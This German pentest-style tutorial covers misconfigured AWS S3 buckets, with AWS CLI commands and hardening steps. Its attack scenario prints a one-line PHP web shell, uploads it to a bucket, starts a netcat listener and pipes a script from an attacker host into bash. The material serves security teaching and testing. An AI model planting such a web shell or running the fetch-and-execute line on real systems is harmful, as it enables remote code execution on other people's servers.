AWS S3 Bucket
Einführung
Amazon S3 (Simple Storage Service) ist ein beliebter Cloud-basierter Speicher-Service, der zur Speicherung von Objekten wie Dateien und Verzeichnissen verwendet wird. S3 Buckets werden häufig für Backup, Media Hosting, Software Delivery und statische Webseiten genutzt. Fehlkonfigurationen wie öffentliche Zugriffsrechte oder fehlende Authentifizierung können jedoch gravierende Sicherheitsprobleme verursachen.
Dieser Beitrag konzentriert sich auf die Sicherheitsanalyse und mögliche Ausnutzung von S3 Buckets.
Was ist ein S3 Bucket?
Buckets: Container, die Dateien (Objekte) speichern.
Objekte: Dateien, die mit Metadaten und einem eindeutigen Schlüssel versehen sind.
Endpoints: URL oder Subdomain, die Zugriff auf einen Bucket erlaubt (z. B.
http://bucket-name.s3.amazonaws.com
).Berechtigungen: Zugriffskontrolle durch Bucket-ACLs oder IAM-Rollen.
Typische Schwachstellen in S3 Buckets
Öffentlicher Zugriff:
Schreib- oder Lesezugriff ohne Authentifizierung.
Ermöglicht das Lesen sensibler Daten oder das Hochladen von Schadcode.
Fehlende Verschlüsselung:
Daten sind im Transit oder im Ruhezustand nicht verschlüsselt.
Fehlende Authentifizierung:
Keine IAM-Policies, die den Zugriff einschränken.
Zulassen von anonymen AWS CLI-Operationen.
Fehlkonfiguration von CORS (Cross-Origin Resource Sharing):
Erlaubt Zugriff von nicht vertrauenswürdigen Domains.
AWS CLI: Interaktion mit S3 Buckets
Das AWS CLI-Tool ermöglicht die Interaktion mit S3 Buckets über die Kommandozeile. Hier sind grundlegende Befehle und ihre Verwendung:
AWS CLI installieren und konfigurieren
$ sudo apt install awscli
$ aws configure
Bei der Konfiguration können zufällige Werte eingegeben werden, falls keine Authentifizierung erforderlich ist.
S3 Buckets auflisten
$ aws --endpoint=http://<ENDPOINT> s3 ls
Zweck: Zeigt eine Liste der Buckets im angegebenen Endpoint.
Beispiel-Ausgabe:
2024-11-20 12:00:00 bucket-name
Objekte in einem Bucket auflisten
$ aws --endpoint=http://<ENDPOINT> s3 ls s3://<BUCKET_NAME>
Zweck: Listet Objekte im angegebenen Bucket auf.
Beispiel-Ausgabe:
2024-11-20 12:05:00 120 index.php 2024-11-20 12:05:00 50 .htaccess
Dateien in einen Bucket hochladen
$ aws --endpoint=http://<ENDPOINT> s3 cp <DATEI> s3://<BUCKET_NAME>
Zweck: Kopiert lokale Dateien in den Bucket.
Beispiel: Hochladen einer PHP-Shell:
echo '<?php system($_GET["cmd"]); ?>' > shell.php $ aws --endpoint=http://<ENDPOINT> s3 cp shell.php s3://<BUCKET_NAME>
Dateien aus einem Bucket herunterladen
$ aws --endpoint=http://<ENDPOINT> s3 cp s3://<BUCKET_NAME>/<DATEI> <ZIEL_PFAD>
Zweck: Kopiert Dateien aus dem Bucket auf das lokale System.
Angriffsszenario: PHP Reverse Shell Upload
Reverse Shell erstellen:
echo '<?php system($_GET["cmd"]); ?>' > shell.php
Upload in den Bucket:
$ aws --endpoint=http://<ENDPOINT> s3 cp shell.php s3://<BUCKET_NAME>
Shell ausführen: Besuchen Sie die hochgeladene Datei im Browser und führe Befehle aus
http://<BUCKET_ENDPOINT>/shell.php?cmd=<command>
oder lade eine Reverseshell hoch
Listener vorbereiten:
$ nc -nvlp 1337
Bash-Shell herunterladen und ausführen:
curl http://<YOUR_IP>:8000/shell.sh | bash
Sicherheitsmaßnahmen gegen S3-Exploitation
Öffentlichen Zugriff deaktivieren:
Verwenden Sie den S3 Block Public Access:
aws s3api put-public-access-block \ --bucket <BUCKET_NAME> \ --public-access-block-configuration BlockPublicAcls=true,IgnorePublicAcls=true
IAM-Policies überprüfen:
Stellen Sie sicher, dass keine anonymen Nutzer Zugriff haben.
Datenverschlüsselung aktivieren:
Aktivieren Sie serverseitige Verschlüsselung:
aws s3api put-bucket-encryption \ --bucket <BUCKET_NAME> \ --server-side-encryption-configuration '{"Rules":[{"ApplyServerSideEncryptionByDefault":{"SSEAlgorithm":"AES256"}}]}'
CORS-Fehlkonfiguration vermeiden:
Verwenden Sie restriktive CORS-Regeln:
{ "CORSRules": [ { "AllowedOrigins": ["https://vertrauenswürdige-domain.com"], "AllowedMethods": ["GET", "POST"] } ] }
Zusammenfassung
Amazon S3 ist ein leistungsstarkes Werkzeug, das jedoch bei Fehlkonfigurationen erhebliche Sicherheitsrisiken birgt. Durch die Überprüfung der Zugriffsrechte, Verschlüsselung und CORS-Einstellungen kann die Sicherheit verbessert werden. Die Nutzung von AWS CLI ermöglicht eine präzise Analyse und Interaktion, die sowohl für legitime Zwecke als auch für Penetrationstests hilfreich ist.
Last updated